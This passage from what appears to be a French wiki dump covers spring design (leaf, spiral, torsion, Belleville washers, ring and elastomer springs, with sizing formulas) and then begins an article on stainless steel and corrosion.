diamètre du fil, le diamètre d'enroulement et la flèche par spire. Compte tenu de la flèche totale, on en déduit le nombre de spires actives. [[Image:0_abaque_réduit.png]] [[abaque pour les ressorts hélicoïdaux]] '''attention : 520 ko''' ... mais vous pouvez l'imprimer pour obtenir un document utilisable ! ==== Liens externes ==== Un programme de calcul des ressorts en hélice cylindrique peut être téléchargé à partir du site de la société Ferroflex http://212.71.194.198/fistart.htm ===Ressorts apparentés === Au lieu d'un fil rond, on peut utiliser d'autres formes, elliptique, rectangulaire, ... Parfois, les ressorts à fil rectangulaire sont obtenus par taillage dans un tube. [[Image:0_ressort_en_fil_rectangulaire.png]] Les ressorts coniques sont enroulés à pas constant (sur le ressort à l'état libre, on s'élève d'une même quantité à chaque tour) ou à pente constante (les spires sont de plus en plus serrées au fur et à mesure que l'on se rapproche de l'extrémité de petit diamètre). - dans le premier cas, on peut obtenir une raideur de plus en plus forte au fur et à mesure de la compression (les spires de plus fort diamètre sont les plus souples et se compriment « à bloc » les premières) ou un encombrement minimal une fois la compression réalisée. - dans le second cas, on minimise la variation de raideur, les spires s'écrasent de façon à peu près simultanée mais une fois complètement aplati, le fil prend l'aspect d'une spirale de plus en plus lâche au fur et à mesure que l'on s'éloigne du centre. Notons que tous les ressorts coniques ne peuvent pas se mettre « à plat ». [[Image:0_ressort_conique.png]][[Image:0_ressort_conique_1.png]][[Image:0_ressort_conique_2.png]] Pour les ressorts en volute, on n'utilise plus du fil mais des bandes de tôle spéciale découpées selon divers profils. Si l'on souhaite une raideur variable, alors il faut adopter une largeur constante de façon que les spires de plus grand diamètre s'affaissent les premières. Si au contraire on souhaite que la raideur reste constante, alors il faut faire en sorte que la section aille en augmentant de l'intérieur vers l'extérieur. Il est également possible de réaliser des ressorts en double volute comme celui qui est (mal) dessiné ci-dessous. [[Image:0_ressort_en_volutes.png]][[Image:0_ressort_en_volutes_coupe.png]][[Image:0_ressort_en_double_volute.png]] Outre leurs caractéristiques mécaniques un peu spéciales, les ressorts en volute ont la particularité de présenter une structure fermée, limitant les risques de blocage par des corps étrangers. Le ressort en double volute, encore appelés ressort comtois, est très souvent utilisé pour écarter les deux branches des sécateurs. Les jardiniers n'aiment pas beaucoup les sécateurs munis de ressorts hélicoïdaux ordinaires, car les brindilles s'y coincent facilement ! ==Ressorts dont la matière travaille en flexion== ===Ressort à lames=== Nous nous contenterons ici d'un calcul de prédimensionnement (on dit parfois d' « équarrissage ») permettant de se faire une idée pas trop farfelue de l'encombrement qu'aurait un '''véritable''' ressort à lames réalisé selon les règles de l'art. Ce type de ressort, qui est une affaire de spécialiste, est surtout utilisé pour la suspensions de véhicules. ====Forme de base==== Une lame encastrée à une extrémité et chargée à l'autre peut évidemment servir de ressort mais les contraintes maximales règnent du côté de l'encastrement tandis que l'extrémité libre, qui a le même module de flexion I/v que l'autre, est peu sollicitée. [[Image:0_lame_encastree.png]] Pour mieux utiliser la matière, on cherche évidemment à se rapprocher d'une [[forme d'égale résistance]] qui est dans ce cas de figure une forme de largeur constante et de hauteur variant selon une loi parabolique (inutilisable ici), ou bien une lame triangulaire de hauteur constante, qui va nous servir de base de calcul. [[Image:0_lame_d'egale_resistance.png]] Si b<sub>o</sub> est la largeur de cette lame au niveau de l'encastrement et L sa longueur, la largeur de la lame au point M d'abscisse x s'écrit : <math>b= \frac{b_0}{L} (L-x)</math> Le moment de flexion en M est <math>M_f = P\,(L-x)</math> La contrainte maximale de flexion est constante tout au long de la lame : <math>\sigma_{maxi}= \frac {M_f}{\frac{I}{v}}= \frac {P(L-x)}{\frac {b\,e^3}{12}\;\frac{2}{e}}</math> <math>\sigma_{maxi}= \frac {P(L-x)}{\frac {b_o\,e^2\,(L-x)}{6\,L}}= \frac {6\,P\,L} {b_o\,e^2}</math> ====Condition de résistance==== Elle découle du calcul précédent : <math>\sigma_{maxi}=\frac {6\,P\,L}{b_o\,e^2} \le \sigma_{adm}</math> ====Condition de déformation==== Dans l'hypothèse, classique mais ici irréaliste, des petits déplacements, nous pouvons calculer la flèche f de l'extrémité libre sous l'effet de la charge P : <math>f=\frac {6\,P\,L^3} {E\,b_o\,e^3}</math> Notons que les deux conditions de résistance et de déformation imposent ensemble l'épaisseur maximale de la lame : <math>\left. \begin{matrix} {\sigma_{maxi}=\frac {6\,P\,L}{b_o\,e^2} \le \sigma_{adm}} \\ \\ {f=\frac {6\,P\,L^3} {E\,b_o\,e^3}} \end{matrix} \right\} \Rightarrow\,e\le \frac {\sigma_{adm}\,L^2} {E\,f}</math> Après que nous avons arrondi l'épaisseur à une valeur normalisée, il en résulte la détermination de b<sub>o</sub>, qui donne généralement des dimensions prohibitives pour la lame ... ====Découpage en lames==== Après avoir découpé la lame triangulaire comme indiqué ci-après, « ressoudé » les morceaux latéraux deux à deux, élargi la lame la plus longue (lame maîtresse), nous pouvons rassembler les lames élémentaires pour former un système étagé que nous supposerons équivalent au précédent. [[Image:0_decoupage_en_lames.png]] En pratique, de nombreuses modifications interviennent et rendent très complexe l'étude d'un tel ressort : formes des extrémités des lames, frottements, systèmes d'attache, etc.). Pour réaliser un paquet de lames à peu près « carré » au niveau des attaches, si n est le nombre de lames, il faut écrire : <math>\frac{b_o}{n} \approx n\,e \quad \Rightarrow \quad n\approx \sqrt{\frac{b_o}{e}}</math> Si nous choisissons a priori un nombre de lames raisonnable, nous pouvons alors combiner les diverses formules pour trouver la longueur minimale du ressort, lequel sera alors le plus léger que l'on puisse réaliser. Par exemple, nous pouvons poser b<sub>o</sub> = n<sup>2</sup>.e et reporter cette valeur dans les formules : <math>\frac{6\,P\,L}{b_o\,e^2}=\frac{6\,P\,L}{n^2\,e^3} \le \sigma_{adm}</math> (résistance) <math>f=\frac{6\,P\,L^3}{E\,b_o\,e^3} = \frac{6\,P\,L^3}{E\,n^2\,e^4}</math> (flèche) En éliminant e, nous trouvons : <math>L=\sqrt[5]{\frac{6\,P\,f^3\,E^3}{\sigma_{adm}^4\,n^2}}</math> Ceci ne constitue certes pas LE calcul de détermination d'un ressort à lames, mais nous avons maintenant une idée de l'encombrement que pourrait avoir une solution de ce type. ====Quelques problèmes de réalisation==== Les formes réelles seront assez éloignées de la forme théorique d'égale résistance que nous venons de voir : [[Image:0_ressort_d'egale_resistance.png]] *la plus longue lame, ou lame maîtresse, doit avoir une section suffisante pour résister seule à l'effort tranchant, ainsi que pour permettre la liaison avec les éléments extérieurs. Son extrémité n'est donc jamais triangulaire mais toujours façonnée en fonction des besoins. *pour éviter que le ressort « baille », c'est-à-dire que les lames décollent, on donne à ces dernières une courbure qui croît de la lame maîtresse, la plus longue, aux plus courtes. Il faut alors que les épaisseurs des lames aillent en décroissant, sinon on dépasserait de plus en plus largement la limite d'élasticité. *l'extrémité des lames n'est jamais taillée en pointe, mais coupée droite, terminée en trapèze ou encore amincie et arrondie selon un profil parabolique. [[Image:0_lames_droites.png]] [[Image:0_lames_trapezoidales.png]] [[Image:0_lames_a_extremites_paraboliques.png]] *les lames ne sont généralement pas de section rectangulaire, elles portent des nervures qui les maintiennent alignées, comme le montre la figure ci-après. Il existe d'ailleurs des profilés normalisés spécialement formés pour la réalisation de ressorts à lames. [[Image:0_profil_nervure.png]] *la nécessité de brider les lames au centre impose d'augmenter la longueur du ressort car la partie bridée se trouve raidie. *les attaches peuvent prendre des formes très diverses dites à œil droit (6), renversé (7), épaulé (8), droit à patte (9), épaulé à patte (10), appui à glissoir (11). [[Image:0_extremites_lame_maitresse.png]] <br /> Si l'on ajoute la possibilité de réaliser des ressorts à lames étagées de toutes formes, symétriques ou non, à faible ou forte courbure, etc., il devient évident que les formules théoriques établies au début de ce paragraphe doivent être pour le moins revues et corrigées. En fait, chaque ressort nécessite une étude individualisée. Le [[frottement]] entre les lames produit des pertes d'énergie notables (le travail de déformation du ressort est loin d'être intégralement restitué au moment de la détente) mais ces pertes contribuent à l'amortissement des vibrations, par exemple dans le cas des ressorts de suspension. Cependant, outre le fait qu'il fausse un peu plus les formules, le frottement est capable d'engendrer le phénomène de [[corrosion-frottement]] (poudre rouge) très destructeur. Pour éviter ou au moins pour freiner cette forme particulière d'[[usure]], une [[lubrification]] protectrice est absolument indispensable et il ne faut surtout pas que l'[[état de surface]] des lames soit trop bon. Au contraire, '''il faut utiliser les lames « brutes de [[laminage]] »'''. ====Préconformation==== C'est à propos du ressort à lames que l'on comprend le plus facilement l'intérêt du traitement de préconformation, qui consiste à charger un ressort au-delà du point où il commence à prendre une déformation permanente pour, en quelque sorte, l'endurcir. [[Image:0_preconformation.png]] *en (a), une lame subit une déformation élastique, le diagramme des contraintes est rectiligne, la limite d'élasticité est atteinte, mais non dépassée, au niveau des couches du métal les plus éloignées de la fibre neutre. *en (b), on a dépassé la limite d'élasticité dans les zones superficielles qui fluent alors sous charge ; dans ces zones la contrainte peut être considérée comme constante et égale à la limite d'élasticité du métal. *en (c), on a supprimé la charge, il subsiste une contrainte résiduelle de compression dans la zone qui était tendue et une contrainte résiduelle de tension dans celle qui était comprimée. Le moment non nul créé par ces contraintes résiduelles « externes » est équilibré par d'autres contraintes « internes » qui apparaissent simultanément. *en (d), on a de nouveau appliqué des efforts de flexion, lesquels donnent naissance à des contraintes réparties selon un diagramme dont la forme est très différente de celui décrit sur la figure (a). La contrainte résiduelle se déduit, en surface, de la contrainte qui serait normalement exercée en l'absence de préconformation, le ressort devient non seulement plus résistant en cas de surcharge, mais aussi moins sensible au phénomène de fatigue. ===Ressort spiral à spires nombreuses=== Le ressort spiral type, à spires non jointives et donc sans frottement, est composé d'un ruban de section rectangulaire encastré à une extrémité B et solidaire à l'autre extrémité 0 d'un axe perpendiculaire au plan d'enroulement. [[Image:0_ressort_spiral_theorique.png]] Nous supposerons que l'axe est mobile sans frottement et, ce qui est moins évident, qu'il ne tend pas à se déplacer radialement lorsqu'on le fait tourner sous l'effet d'un couple C. Dans ces conditions, tout couple perpendiculaire au plan d'enroulement, appliqué en O, se trouve transmis intégralement en B, ce qui ne serait pas le cas si en ce point l'extrémité n'était pas encastrée mais simplement accrochée, comme ce sera probablement le cas pour cette réalisation industrielle : [[Image:0_ressort_spiral.jpg]] ====Condition de résistance==== Si la lame élastique a pour largeur b (comptée perpendiculairement au plan d'enroulement) et pour épaisseur e, alors : <math>\sigma_{maxi}= \frac{6\,C}{b\,e^2} \le \sigma_{adm}</math> ====Condition de déformation==== Pour une poutre soumise à la flexion, une variation du moment fléchissant entraîne une variation de la courbure (inverse du rayon de courbure), telle que : <math>\Delta \left( \frac{1}{R} \right)= \frac {\Delta(M_f)}{E\,I}</math> L'intégration sur l'ensemble de la longueur L du ruban fournit l'angle de rotation θ de l'extrémité O : <math>\theta = \frac {12\,C\,L} {E\,b\,e^2}</math> (θ est évidemment en radians) En éliminant C entre les deux formules, il vient : <math>\theta = \frac {2\,\sigma_{maxi}\,L}{E\,e}</math> ====Fabrication==== Le ressort spiral, essentiellement utilisé dans l'appareillage de précision (montres, appareils électriques, ...) fait l'objet d'une fabrication très spéciale dont les modes opératoires et les essais sont codifiés par le Centre Technique de l'Industrie Horlogère. L'obtention de spires non jointives et équidistantes nécessite, au départ, une conformation spéciale du ruban. Ce dernier, s'il était droit au départ, se disposerait en effet naturellement sous la forme d'un rouleau à spires jointives de comportement très différent à cause des frottements. On trouve une telle disposition dans le cas des ressorts qui rappellent les mètres à ruban dans leur boîtier. Lorsque les extrémités du ressort spiral sont liées normalement, c'est-à-dire encastrées, toute variation du moment de flexion à l'une des extrémités est intégralement transmise à l'autre extrémité : ceci fait que dans tous les cas le moment de flexion le long du ruban est constant. En un point donné, la courbure de la lame est définie comme l'inverse du rayon de courbure local. Or, comme la section de la lame est constante, toute variation du moment de flexion s'accompagne d'une variation proportionnelle de la courbure : [[Image:Spiral.png|thumb|250px|right|Ressort spiral en charge et à vide]] [[Image:Balancier_spiral.png|thumb|250px|right|Balancier avec ressort spiral]] <math>\Delta (\frac {1}{R}) = \frac {\Delta(M_f)}{EI}</math> Nous conviendrons de dire que tout le long du ressort enroulé en charge, la courbure est positive. La figure ci-contre représente en haut un ressort spiral enroulé et au-dessous, à vide. Au niveau de l'extrémité intérieure A et du point M, la courbure de l'ébauche est positive et le reste après enroulement. Le point B correspond à un point d'inflexion de la préforme, où la courbure est nulle. Au point N et à l'extrémité extérieure C, les courbures de la préforme sont négatives et elles deviennent positives une fois le ressort enroulé. La mise en forme du ressort « en S » à vide est une opération complexe qui demande beaucoup de savoir-faire et d'expérience ! Pour d'autres types de ressorts spiraux comme ceux des balanciers utilisés en horlogerie, la forme à vide est une spirale d'Archimède dont les courbures augmentent ou diminuent au gré des oscillations. En réglant la longueur du ruban flexible par un dispositif approprié, on fait varier la raideur du ressort et donc la fréquence des oscillations du balancier, on réduit ainsi autant que faire se peut l'avance ou le retard de la montre ou de la pendule. Plus que tout autre, le ressort spiral est une affaire de spécialistes ! ====Montage==== Nous avons supposé que l'extrémité du ressort était encastrée et affirmé que dans ces conditions le couple transmis par la lame était identique en tout point de cette dernière. Si par contre l'extrémité du ressort est simplement accrochée en B, le moment est nul en ce point et variable tout au long du ruban, '''avec un maximum atteignant presque 2C''' ! Le mode de fixation influe donc énormément sur la contrainte maximale. ===Ressort hélicoidal pour la torsion=== A part la forme spécifique de ses extrémités, ce ressort est identique à un ressort hélicoïdal de traction-compression à très faible angle d'hélice, ou même à un ressort de traction à spires jointives si l'on recherche un certain frottement interne, par exemple pour favoriser l'amortissement de vibrations. [[Image:0_ressort_helicoidal_de_torsion.png]] Nous supposerons que '''notre ressort a des spires non jointives et très peu inclinées''' (travaillant en flexion presque pure) et que '''ses extrémités sont encastrées'''. Si tel n'était pas le cas la précision des formules serait passablement altérée et la répartition des contraintes modifiée dans un sens nettement défavorable. Il faut toutefois reconnaître que dans un très grand nombre de mécanismes où les critères de précision sont secondaires, les extrémités sont accrochées ou plus simplement encore appuyées. [[Image:0_ressorts_helicoidaux_de_torsion.jpg]] ====Condition de résistance==== C'est en fait la même que pour le ressort spiral, sauf que l'expression du moment d'inertie est différente. Si le fil n'est soumis qu'à la flexion (extrémités encastrées ...), le moment est alors identique en tout point et donc : <math>\sigma_{maxi}=\frac{C}{\frac{I}{v}} \le \sigma_{adm}</math> La section du fil peut être quelconque, par exemple carrée ou elliptique. Dans le cas le plus courant d'un fil rond, la formule précédente devient : <math>\sigma_{maxi} = \frac{32\,C}{\pi\,d^3} \le \sigma_{adm}</math> ====Condition de déformation==== L'angle de rotation θ de l'extrémité mobile par rapport à l'extrémité fixe est là encore, au moment d'inertie près, identique à celle du ressort spiral : <math>\theta = \frac{C\,L}{E\,I}</math> (cas général) <math>\theta = \frac{64\,C\,L}{\pi\,E\,d^4}</math> (fil rond) ====Fabrication==== La manière de faire est, grosso modo, la même que pour les ressorts hélicoïdaux de traction-compression. C'est bien sûr la forme des extrémités qui est différente. On se reportera donc au chapitre évoqué ci-dessus, en particulier pour les diamètres de fil. Il est assez facile de « bricoler » des ressorts de torsion en hélice cylindrique mais il faut généralement faire plusieurs essais si l'on veut approcher une valeur précise de la raideur. Le composant de base, que l'on peut trouver dans les bonnes quincailleries ou grandes surfaces, est la '''corde à piano'''. Il en existe de différentes sections et de différentes qualités. Pour fabriquer le ressort, on accroche le fil dans le mandrin d'une perceuse mécanique ou d'un tour et on l'enroule autour d'une tige filetée dont le pas est égal ou légèrement supérieur au diamètre du fil. On fait tourner le mandrin dans le sens antihoraire (comme pour dévisser) tout en maintenant fermement le fil avec un pince de manière à le laisser filer « sous contrôle ». Les résultats sont meilleurs si l'on pince le fil entre deux tasseaux de bois dur maintenus, pendant l'enroulement, en appui sur la tige filetée. À l'issue de l'opération, le fil se détend, le diamètre d'enroulement augmente et le pas d'enroulement varie aussi, mais dans une moindre mesure. S'il s'agissait de réaliser ainsi un ressort de traction ou de compression, on obtiendrait à peu près n'importe quoi. Pour un ressort de torsion dont le fil travaille en flexion, cela marche assez bien car la raideur dépend essentiellement, pour un diamètre de fil donné, de la longueur totale qui a été enroulée. ==Ressorts métalliques divers== ===Rondelles tronconiques=== Ce type de ressort est fréquemment utilisé lorsque l'on souhaite une faible flexibilité sous forte charge. On le trouve couramment dans le commerce sous la désignation de rondelle BELLEVILLE. [[Image:0_rondelle_BELLEVILLE.png]] Outre leur faible coût, ces rondelles ont l'avantage de pouvoir être associées de diverses manières, ce qui permet non seulement d'obtenir la raideur souhaitée pour l'ensemble, mais encore de créer des systèmes à raideur variable. Les formules donnant la résistance et la déformation de ces rondelles sont très complexes et sans intérêt pratique puisque généralement ces produits sont achetés dans le commerce. Toutefois, certaines rondelles spéciales, possédant des caractéristiques particulières, peuvent être fabriquées à la demande. La rondelle élémentaire a un diamètre intérieur d, un diamètre extérieur D, une épaisseur e et une hauteur à vide H. La flèche maximale sous charge vaut : h = H - e ====Condition de résistance==== Les rondelles BELLEVILLE sont généralement calculées pour que l'on puisse les aplatir complètement sans les déformer de façon permanente. Il existe donc une charge P dite '''charge d'aplatissement'''. Au-delà de cette valeur, la rondelle ne se déforme pratiquement plus et elle peut en fait supporter des charges très élevées sans le moindre risque de rupture, comme le ferait une rondelle plate ordinaire. Il est donc pratiquement impossible de surcharger les rondelles BELLEVILLE, ce que l'on peut considérer comme un avantage considérable ! ====Condition de déformation==== Les rondelles les plus courantes ont une déformation presque linéaire, de sorte que la raideur peut être exprimée par : <math>k=\frac{p}{h}</math> Cependant, il est possible de fabriquer des rondelles ayant des propriétés élastiques très différentes, comme le montrent les courbes charge-flèche en fonction du rapport h/e. [[Image:0_courbes_rondelles_elastiques.png]] ====Association de rondelles==== Les rondelles peuvent être empilées dans le même sens, en « paquets ». Un paquet de n rondelles identiques n'a que la flèche maximale h d'une rondelle unique, mais sa charge d'aplatissement est n P ; si k est la raideur, supposée constante, d'une rondelle unique, la raideur K de l'ensemble est donc : <math>K=\frac{n\,P}{h}= n\,k</math> Si les rondelles sont empilées en opposition, la charge d'aplatissement est la même que pour une rondelle unique, tandis que les flèches s'ajoutent. Un empilement de n rondelles en opposition a donc pour raideur : <math>K =\frac{P}{n\,h} = \frac{k}{n}</math> Diverses combinaisons sont présentées ci-dessous, permettant d'obtenir des ressorts aux caractéristiques presque linéaires s'ils sont réalisés avec le bon type de rondelles. Remarquons qu'il est facile d'ajuster la raideur d'un empilement contenant un nombre suffisamment important de rondelles. [[Image:0_empilement_de_rondelles.png]] Si par exemple nous empilons en opposition deux paquets de deux rondelles, la flèche maximale sera 2h et la charge d'aplatissement 2P ... le résultat sera un ressort de même raideur qu'une rondelle unique mais de performances plus étendues. Voici quelques combinaisons usuelles : [[Image:0_rondelles_Belleville.png]][[Image:0_rondelles_Belleville_1.png]] La figure ci-dessous montre un limiteur de couple dans lequel l'élément élastique est constitué par deux rondelles Belleville. [[Image:0_limiteur_de_couple.png]] D'autres dispositions sont plus subtiles. Si, par exemple, nous mettons en opposition un paquet de deux rondelles avec une rondelle unique, la flèche maximale sera 2h et la charge d'aplatissement 2P, comme dans le cas précédent. Par contre, la courbe caractéristique sera une ligne brisée et non plus un segment de droite. En effet, il faut considérer deux phases distinctes lors de la compression du système : *lorsque la charge varie de 0 à P les trois rondelles se déforment linéairement et en même temps, mais pas de la même façon : le paquet de deux rondelles se déforme deux fois moins que la rondelle unique. Lorsque la charge atteint P, la flèche vaut 1,5 h car la rondelle seule se trouve complètement aplatie tandis que le paquet de deux n'est qu'à mi-course. Pendant cette phase la raideur est : <math>K_1=\frac{P}{1,5\,h}= \frac{2}{3}k</math> *lorsque la charge varie de P à 2 P la rondelle unique est complètement aplatie et n'intervient plus, la flèche augmente de 0,5 h et la raideur est celle d'un paquet de deux rondelles, soit : <math>K_2=2\,k</math> Une telle association donne un ressort d'abord relativement flexible, puis très raide. On peut évidemment inventer de nombreuses autres combinaisons ! ===Diaphragmes=== Divers fabricants proposent des pièces standardisées qui fonctionnent comme les rondelles Belleville mais en beaucoup moins raide. Il faut consulter leurs catalogues pour plus d'information. On voit ci-dessous un ressort-diaphragme en coupelle à lames multiples utilisé en particulier dans certains embrayages, une rondelle Ringspann et un diaphragme conique Borrelly : [[Image:0_ressort_en_coupelle.png]] [[Image:0_rondelle_Ringspann.png]] [[Image:0_rondelle_Borrelly.png]] ===Ressorts annulaires=== On réalise des systèmes élastiques à hauteur variable en empilant des bagues coniques. De tels systèmes, soumis à une charge axiale, diminuent de longueur en raison de la dilatation des bagues extérieures et de la contraction des bagues intérieures. Les anneaux intérieurs « mâles » pénètrent dans les anneaux extérieurs « femelles » : [[Image:0_ressort_a_anneaux_d'acier_Les_Appareils_Ferroviaires_1.png]] Les frottements très importants qui se produisent entre les bagues sont tels que la force axiale fournie lors de la détente de l'empilement est très largement inférieure à celle qui était appliquée lors de la mise en charge. Ils provoquent une perte d'énergie considérable qui correspond à la zone hachurée du diagramme représentant le cycle compression-détente. On peut mettre à profit cette particularité dans certains mécanismes comme les tampons du matériel roulant ferroviaire, où ils contribuent à absorber les chocs. [[Image:0_ressorts_a_anneaux_2.png]] En remplaçant une ou plusieurs des bagues intérieures complètes par des bagues fendues, on peut donner à ce ressort un tout autre comportement : il devient « mou » au début de sa déformation, puis de plus en plus « dur » : [[Image:0_ressort_a_anneaux_d'acier_Les_Appareils_Ferroviaires_3.png]] ===Rondelles ondulées=== Il en existe de multiples types. On les utilise par exemple pour rattraper des jeux ou pour remplacer les ressorts à boudin comme ressorts de rappel. Voici quelques exemples industriels (doc. SMALLEY) : [[Image:0 rondelles SMALLEY.jpg]] La figure de gauche représente l'utilisation de rondelles élastiques dans un limiteur de débit. Plus la pression de fluide à l'entrée est forte, plus le piston se déplace vers la droite et plus les orifices de sortie du fluide se trouvent rétrécis. Le dessin de droite montre un raccord rapide de tuyauterie avec un système de retenue par billes. Les rondelles assurent le verrouillage des billes qui retiennent la partie mâle (non représentée). [[Image:0 Spirawave smalley2.png]][[Image:0_retainer.jpg]] ===Pièces élastiques diverses=== Il existe d'innombrables pièces élastiques jouant le rôle de ressorts dans beaucoup de mécanismes, avec des caractéristiques spécifiques et donc en-dehors de la production standardisée. Voici par exemple une pièce en fil galbé : [[Image:0_ressort_en_fil.png]] Les joints d'étanchéité Bal-Seal possèdent des ressorts à spires aplaties qui leur donnent l'élasticité radiale nécessaire pour un bon contact intérieur et extérieur sur les pièces à étancher : [[Image:0_joint_Bal_Seal.jpg]][[Image:0_ressort_a_spires_inclinees_BAL_SEAL.png]] De nombreux ressorts sont réalisés à partir de feuillard dit « tôle bleue » découpé et mis en forme à la demande. Pour le matériel électrique, lorsque l'on a besoin de pièces à la fois élastiques et bonnes conductrices, on fait appel dans les mêmes conditions au cuivre au béryllium : [[Image:0_ressorts_lame_feuillard.png]][[Image:0_ressort_a_lames_1.png]][[Image:0_ressort_en_feuillard.png]] Signalons enfin la possibilité de réaliser des pièces plus complexes par découpage, emboutissage et formage : [[Image:0_ressort_divers.png]] ==Ressorts en élastomères== Outre le fait qu'il est beaucoup plus faible que celui des métaux, le module d'élasticité des caoutchoucs varie avec la forme de l'élément élastique, qui varie elle-même beaucoup avec la charge appliquée. Il est donc pratiquement impossible d'obtenir des caractéristiques linéaires, surtout dans le cas des ressorts de compression. En fait, cette particularité est souvent mise à profit pour amortir les vibrations entre les deux éléments reliés par le ressort. En effet, l'énergie apportée par la vibration sinusoïdale d'un élément va se trouver répartie, à la sortie, entre la fréquence fondamentale et ses harmoniques, qui en sont des multiples. Or, on sait que plus une vibration a une fréquence élevée et plus elle est facile à amortir. Si les ressorts en caoutchouc ont une très bonne résistance aux sollicitations dynamiques, ils subissent aussi, à des degrés divers, les effets de l'hystérésis mécanique qui fait que la reprise de leur forme initiale n'est pas instantanée après qu'ils ont subi une déformation. Ceci est dû au comportement toujours plus ou moins viscoélastique de ces matériaux. N'oublions pas que le phénomène d'hystérésis est avant tout un phénomène de retard d'un effet sur une cause. Cet hystérésis provoque la transformation en chaleur, à l'intérieur même du matériau visco-élastique, d'une partie de l'énergie fournie. Le caoutchouc étant mauvais conducteur de la chaleur, il en résulte un échauffement interne susceptible, pour des mécanismes mal étudiés, d'entraîner la dégradation ou la destruction du caoutchouc. Signalons aussi que le module d'élasticité varie avec la température, avec la vitesse d'application de la charge, et qu'il évolue au cours du temps en raison du vieillissement du matériau. Tous ces facteurs interagissent et dans ces conditions, on comprend facilement que les caractéristiques d'un ressort en caoutchouc ne peuvent pas être définies avec la même précision que celles d'un ressort métallique. Par contre, il est relativement facile d'obtenir des modules d'élasticité et des capacités d'amortissement très variables, en jouant sur la nature et les proportions des constituants du mélange à utiliser. ==Ressorts en matériaux composites== ==Ressorts à gaz== {{Article de qualité}} Acier inoxydable 1196 45176 2006-06-18T20:41:33Z 216.137.106.149 /* Usinage */ [[de:Rostfreier Stahl]] [[en:Stainless steel]] [[es:Acero inoxidable]] [[nl:Roestvast staal]] [[ja:ステンレス鋼]] Les '''[[w:acier|acier]]s inoxydables''' jouent un grand rôle dans d'innombrables domaines : vie quotidienne, industrie mécanique, agroalimentaire, chimie, transports, médecine et chirurgie, etc. Comme les autres aciers, ce sont des [[w:alliage|alliage]]s de [[w:fer|fer]] et de [[w:carbone|carbone]] auquel on vient ajouter du [[w:chrome|chrome]] et d'autres éléments, notamment le [[w:nickel|nickel]], mais aussi parfois le [[w:molybdène|molybdène]] et le [[w:vanadium|vanadium]], afin d'améliorer la résistance à la [[w:corrosion|corrosion]]. == Rappels sur la corrosion == Les phénomènes de [[w:corrosion|corrosion]] des métaux sont surtout de nature électrochimique. En présence d'une solution de type électrolyte, le potentiel métal-solution varie selon les points de la surface et de ce fait, des courants électriques apparaissent et provoquent l'endommagement du métal. La résistance à la corrosion dépend de la valeur de ces potentiels et surtout de leur répartition sur les surfaces. Toutes les hétérogénéités donnent naissance à des couples électriques, à commencer par celles qui résultent des différences de structure et de composition des microcristaux qui constituent le matériau lui-même. D'autres hétérogénéités sont dues à la présence de soudures, de rivets, de façonnages locaux entraînant un [[w:écrouissage|écrouissage]] (dans les tôles pliées par exemple), mais aussi au [[tribologie|frottement]] contre des pièces antagonistes ou même à de simples rayures . A chaud, la diffusion des agents corrosifs dans l'épaisseur du métal peut compliquer encore le problème. La lutte contre la corrosion est une préoccupation constante dans beaucoup de domaines industriels. Une solution relativement simple consiste à recouvrir la surface à protéger par un matériau insensible au milieu agressif, matériau qui peut être métallique ou non. Les [[peinture]]s, les [[w:vernis|vernis]], certains [[w:traitement de surface|traitements de surface]], les revêtements métalliques de [[w:plomb|plomb]], de [[w:zinc|zinc]], de [[w:nickel|nickel]], de [[w:chrome|chrome]], etc. peuvent être souvent utilisés avec succès. Il est possible également de remplacer les métaux par d'autres matériaux de plus grande inertie chimique comme le [[w:graphite|graphite]], la [[w:céramique|céramique]], le [[w:verre|verre]], les [[w:matière plastique|matières plastiques]], etc. == Généralités sur les aciers inoxydables == Par rapport à leurs possibles subsituts, les aciers inoxydables restent difficilement remplaçables au regard de leurs caractéristiques mécaniques élevées : résistance aux efforts, dureté et résistance aux chocs. Aucun des autres matériaux énumérés plus haut ne cumule toutes ces propriétés. L'élément d'alliage auquel les aciers inoxydables doivent leur résistance à la corrosion est le [[w:chrome|chrome]]. Contrairement à ce que l'on croit généralement, ce métal est très réactif du point de vue chimique et il est en particulier très oxydable, mais son oxyde forme une véritable peau à la fois transparente et protectrice. Allié au [[w:fer|fer]] et au [[w:nickel|nickel]], il provoque la formation d'un composé de surface oxydé capable de ralentir ou même d'arrêter totalement la corrosion. Le chrome et le nickel s'[[w:oxydation|oxydent]] ainsi : :4 Cr + 3 O<sub>2</sub> → 2 Cr<sub>2</sub>O<sub>3</sub> :2 Ni + O<sub>2</sub> → 2 NiO Le terme « inoxydable » est en fait trompeur et très mal choisi... Un néologisme comme « incorrodable » (analogue au terme « rustless » en anglais) serait plus correct, puisque c'est la corrosion (destruction lente par action chimique) qui est freinée. Comme nous le verrons, il existe de très nombreuses nuances d'acier inoxydables et le choix est parfois difficile, car elles n'ont pas tous le même comportement dans un milieu donné. On les désigne souvent par les pourcentages massiques en nickel et en chrome. Ainsi, un inox 18/10, tel que ceux utilisés en coutellerie, pour les couverts et pour la cuisine en général, contient 18&nbsp;% en masse de chrome et 10&nbsp;% en masse de nickel. Cette désignation est en fait très insuffisante car elle ne préjuge en rien de la structure métallurgique ... La teneur en chrome est dans tous les cas d'au moins 12 %. D'autres éléments d'alliage, pour l'essentiel des métaux relativement « nobles » comme le [[w:nickel|nickel]], le [[w:molybdène|molybdène]], le [[w:cuivre|cuivre]], améliorent encore la résistance chimique, en particulier dans les milieux non oxydants. Les propriétés de résistance de ces alliages ont été découvertes en 1913 lorsque l'on s'aperçut que des échantillons polis en vue d'examens de laboratoire ne subissaient pas d'oxydation. En fait, on peut dire : * Que les aciers inoxydables ne peuvent être corrodés à froid qu'en présence d'humidité. C'est ainsi qu'ils résistent au [[w:chlore|chlore]], gaz pourtant très corrosif, pourvu que ce dernier soit parfaitement sec. * L'action des solutions aqueuses est telle que la corrosion électrochimique prend la pas sur la corrosion chimique directe ; la bonne tenue du matériau dépend, comme cela a été écrit plus haut, des potentiels électrochimiques en surface et de leur répartition. * comme l'[[w:aluminium|aluminium]], métal extrêmement oxydable qui se recouvre d'un oxyde protecteur, les aciers inoxydables se comportent de manière ''active'' lorsqu'ils viennent d'être usinés, décapés ou polis et de manière ''passive'' lorsque les attaques extérieures ont permis de former la « peau » qui les protège. * une bonne utilisation des aciers inoxydables nécessite donc un métal d'une très grande homogénéité pour éviter des corrosions locales et un passage de l'état actif à l'état passif en tous les points de la surface exposée. Par rapport à une électrode à hydrogène de référence, le potentiel des aciers inoxydables se situe entre le molybdène et le [[w:mercure|mercure]], non loin de l'[[w:argent|argent]] et du [[w:platine|platine]]. Le dépôt de particules ferreuses sur les surfaces d'acier inoxydable est très dangereux en milieu humide, car la 